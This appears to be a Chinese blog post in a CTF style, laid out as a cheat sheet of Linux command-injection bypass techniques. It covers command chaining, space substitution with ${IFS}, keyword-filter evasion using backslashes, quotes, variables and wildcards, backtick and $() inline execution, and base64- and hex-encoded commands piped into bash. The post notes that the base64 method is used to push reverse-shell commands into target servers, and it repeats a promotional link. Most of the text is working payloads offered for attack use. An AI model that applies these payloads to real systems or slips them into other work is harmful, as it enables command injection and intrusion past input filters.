【网络安全---Linux命令绕过】Linux下命令执行绕过技巧(很全,很实用)

 

首先分享一个自己做的很不错的网路安全笔记,内容详细介绍了许多知识

分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:

超详细的网络安全学习笔记icon-default.png?t=N7T8https://m.tb.cn/h.gU0B0pz?tk=fx3VWyN8gIa%20HU0025

不知道怎么获取的可以私信联系我,欢迎技术交流!

一,符号绕过

1-1 分号绕过

用;号隔开每个命令,每个命令按照从左到右的顺序执行,彼此之间不关心是否失败,所有命令都会执行。

cat /etc/passwd;ls -l

1-2 管道符 | 

Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。

cat /etc/passwd | grep bash | wc -l

1-3 & 

格式: command1 & command2

&放在启动参数后面表示设置此进程为后台进程,上面的命令会先执行command2,再执行command1

ping -c 1 baidu.com & ls -l

1-4 && 

格式: command1 && command2 [&& commandx]

&& 表示前一条命令执行成功时,才执行后一条命令

1-4-1 第一种情况

第一个命令错误,第二个命令不会执行 

如:/etc/aini 不存在就会报错,后面的ls也不会执行

cat /etc/aini && ls -l

1-4-2 第二种情况

 所有命令都正确

pwd && ls -l && cat /etc/passwd

1-5 || 

格式:command1 || command2 [|| commandx]

跟&&符号相反,前面那条命令为假才会执行后面的命令

只要有一个命令返回真(命令返回值 $? == 0),后面的命令就不会被执行。–直到返回真的地方停止执行。

cat /etc/aini || pwd

第一个命令结果为假,所以继续执行第二个命令

 1-6 绕过空格

1-6-1 {}绕过

{cat,etc/passwd}

 1-6-2 ${IFS},$IFS$9,${IFS} 绕过

cat${IFS}flag.txt
cat$IFS$9flag.txt
cat${IFS}flag.txt

 1-6-3 <  绕过

cat<flag.txt

1-6-4 <> 绕过 

cat<>flag.txt

1-7 对关键字的绕过

1-7-1 (\)

比如会对cat falg 等一些常用关键字进行检测,可以用 \ 绕过

原理就是\转义符号只对一些特殊符号转义,对字母转义跟不转义效果一样

c\a\t<>f\l\a\g.t\x\t

 1-7-2 '' 绕过

cat fla''g.php

1-7-3 双''来字符串拼接绕过

'fl' + 'ag'  = 'flag'

其实

'fl''ag' = 'flag'

1-7-4 变量绕过 

a=fl;b=ag;cat $a$b.php

1-8 通配符绕过

1-8-1 ? * 来绕过

?在linux里面可以进行代替字母
*在linux里面可以进行模糊匹配

cat<>fl*
cat flag?txt

1-8-2 [范围] 或 {f..h} 来绕过

[a-z]  表示匹配 a~z 

{f..h} 表示f~h 无论是否匹配成功都匹配一遍

cat fla[f-h].*

 分别匹配到了flag.txt和flag.php  

1-9 内联使用

1-9-1 `` 绕过

`` 里面的命令优先执行 

cat `ls | grep fla`

 分别匹配到了flag.txt和flag.php 

 1-9-2 $() 绕过

cat $(ls | grep fla)

二,编码绕过

2-1 base64编码绕过 

经常用此方法来给对方服务器注入反向shell命令

echo Y2F0IGZsYWcudHh0 | base64 -d | bash -i

综合利用

1,绕过空格

2,绕过关键字过滤

3,编码

\e\c\h\o${IFS}Y2F0IGZsYWcudHh0${IFS}|${IFS}\b\a\s\e\6\4${IFS}-\d${IFS}|${IFS}\b\a\s\h${IFS}-\i

2-2 hex编码绕过 

2-2-1 熟悉xxd命令

  -a          缺省忽略转换: 使用‘*’替换空行.
   -b          二进数数据转储 (与 -ps,-i,-r不兼容). 默认为16进制.
   -c cols    每行多少列octets(特制8比特的字节). 默认为16列(-i: 12, -ps: 30).
   -E          使用EBCDIC字符集. 默认为ASCII字符集.
   -e          小端模式转储 (与 -ps,-i,-r不兼容).
   -g          在正常输出中,每组八位字节数. 默认为2个 (-e: 4).
   -h          输出此帮助.
   -i          使用C语言文件样式输出.
   -l len      在len个八位字节后停止.
   -o off      在off个偏移量后开始输出.
   -ps         以在行后添加16进制转储内容的格式输出.
   -r          逆向操作: 转换(或修补) 十六进制内容为二进制内容.
   -r -s off   在off个偏移量后开始转换16进制内容为二进制内容
   -s [+][-]seek  start at <seek> bytes abs. (or +: rel.) infile offset.(没看懂)
   -u          使用大写字母进行十六进制表示.
   -v          显示版本: "xxd V1.10 27oct98 by Juergen Weigert".

 2-2-2 例子

echo 63617420666c61672e747874 | xxd -r -p|bash

  

首先分享一个自己做的很不错的网路安全笔记,内容详细介绍了许多知识

分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:

超详细的网络安全学习笔记icon-default.png?t=N7T8https://m.tb.cn/h.gU0B0pz?tk=fx3VWyN8gIa%20HU0025

不知道怎么获取的可以私信联系我,欢迎技术交流!

  • 16
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 7
    评论
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

学网安的A

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值